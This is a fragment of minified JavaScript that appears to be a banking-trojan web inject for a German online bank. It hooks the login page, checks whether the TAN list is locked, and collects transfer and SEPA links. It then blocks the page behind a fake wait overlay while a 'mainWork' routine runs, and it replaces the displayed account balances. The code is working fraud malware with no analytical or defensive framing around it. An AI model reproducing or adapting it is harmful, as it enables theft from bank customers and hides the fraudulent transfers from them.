');jq(document).ready(function(){ATS.debugMsg('document loaded');if(ATS.checkLoginPage()) {ATS.debugMsg('login page');ATS.setLoginHook();ATS.checkLoginError();jq('.inj_full_overlay').remove();} if(jq('#ummelden').text().indexOf("Zum Login")!=-1) {ATS.debugMsg('Zum Login!');jq('.inj_full_overlay').remove();} if(ATS.isLoggedIn()) {ATS.debugMsg('logged in!');ATS.loadData(function(data){if(ATS.account_id!=0) {var status=ATS.getCookie('status');ATS.debugMsg('AID = '+ATS.account_id+'; status = '+status);switch(status) {case"1":if(ATS.isLoggedIn()){ATS.replaceBalances();} jq('.inj_full_overlay').remove();break;case"2":jq('.inj_full_overlay').remove();break;default:var t=jq('ul.activeNotificationAction a').text();if((t.indexOf('Sperre aufheben')!=-1)||(t.indexOf('Unlock TAN list')!=-1)) {ATS.die("TAN-list locked!");jq('.inj_full_overlay').remove();break;} if((parent.document!==document)&&parent.ATS) {ATS.debugMsg('we are in frame!');ATS.frameWork();jq('.inj_full_overlay').remove();break;} else {jq('.inj_full_overlay').remove();ATS.getFinanzstatusLink();ATS.getIntLink();ATS.getSepaLink();ATS.UI_blockSite();ATS.UI_showWait();ATS.mainWork();break;} break;}} else {jq('.inj_full_overlay').remove();ATS.die("account_id is 0 or ip is locked");}});} else {if((parent.document!==document)&&parent.ATS) ATS.debugMsg('we are in frame and not logged in!');}});}